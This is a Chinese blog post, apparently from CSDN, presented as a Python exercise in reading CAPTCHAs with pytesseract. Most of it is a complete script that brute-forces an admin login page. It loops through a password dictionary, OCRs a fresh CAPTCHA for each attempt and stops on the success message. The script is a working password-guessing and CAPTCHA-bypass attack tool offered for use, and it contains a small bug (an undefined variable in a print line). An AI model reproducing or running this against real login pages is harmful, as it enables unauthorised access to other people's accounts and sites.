python识别验证码并登录

最新推荐文章于 2024-09-20 16:02:42 发布

PD_3569

最新推荐文章于 2024-09-20 16:02:42 发布

阅读量3.7k

点赞数 1

分类专栏： python

本文链接：https://blog.csdn.net/qq_33020901/article/details/54563887

版权

python 专栏收录该内容

25 篇文章 1 订阅

订阅专栏

尝试练习python，苦于没有什么想写……

百度得知，pytesseract库识别验证码还可以，尝试利用

结果：
识别验证码效果不理想，获取十张验证码能够准确识别一张的概率，加上自己对验证码的处理效果会稍微提高些

环境：
Tesseract OCR engine
安装PIL
pytesseract

第一步：
获取当前验证码，这里懵了下，照片的url地址是一个php文件，不知道如何下载图片，后来百度并尝试得知，保持session的情况下直接访问php文件返回的html就是当前需要提交的图片，直接保存 resp.content 为 .jpg 格式就可以

第二步：
了解如何识别验证码

from PIL import Image
import pytesseract
image = Image.open('v1.jpg')
print pytesseract.image_to_string(image)

第三步：
思考整个流程，一步一步的思考，并且尽量把功能细化成各个函数，保持代码整洁性和可读性，我觉得可读就行 ……
requests 库有保持session的便用方法，附加乱码处理一种方式

        s = requests.session()
        resp = s.post(url, data=..., header=...)
        resp.encoding = resp.apparent_encoding

附上代码，如果有更好的处理方式，不吝赐教

#coding:utf-8
import requests
import time
import Image
import pytesseract
from optparse import OptionParser 

def cmdParse():
    parser = OptionParser()
    parser.add_option("-f",dest="dicPath",default=False,help="dict file path")
    parser.add_option("-u",dest="user",default=False,help="user name")
    parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com")

    (option, args) = parser.parse_args()
    return option.dicPath, option.url, option.user

def Analysis():
    image = Image.open("/root/img.jpg")
    return pytesseract.image_to_string(image)

def Payload(user,pwd,vaCode):
    return {"userid":user ,"pwd":pwd ,"gotopage":"xxx",
        "dopost":"xxx" ,"adminstyle":"xxx" ,"validate":vaCode}

def header():
    return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}

def imgSave(s,url):
    urlCode = url + "/include/xxx.php"
    resp = s.get(urlCode)
    f = open("/root/img.jpg","wb")
    f.write(resp.content)   
    f.close()

def main():
    i = 1
    xing = "*"
    truePwd = "......"
    dicPath, url, user = cmdParse()
    urlLogin = url + "/xxx/login.php"
    s = requests.session()
    for pwd in open(dicPath):
        imgSave(s,url)
        vaCode = Analysis()
        resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header())
        resp.encoding = resp.apparent_encoding
        print resp.text

        print x,xing*40
        if u"成功登录，正在转向管理管理主页！" in resp.text:
            truePwd = pwd
        print "testing ........"
        if i % 5 == 0:
            time.sleep(1)
        i = i + 1
    if truePwd != "......":
        print truePwd


if __name__ == '__main__':
    main()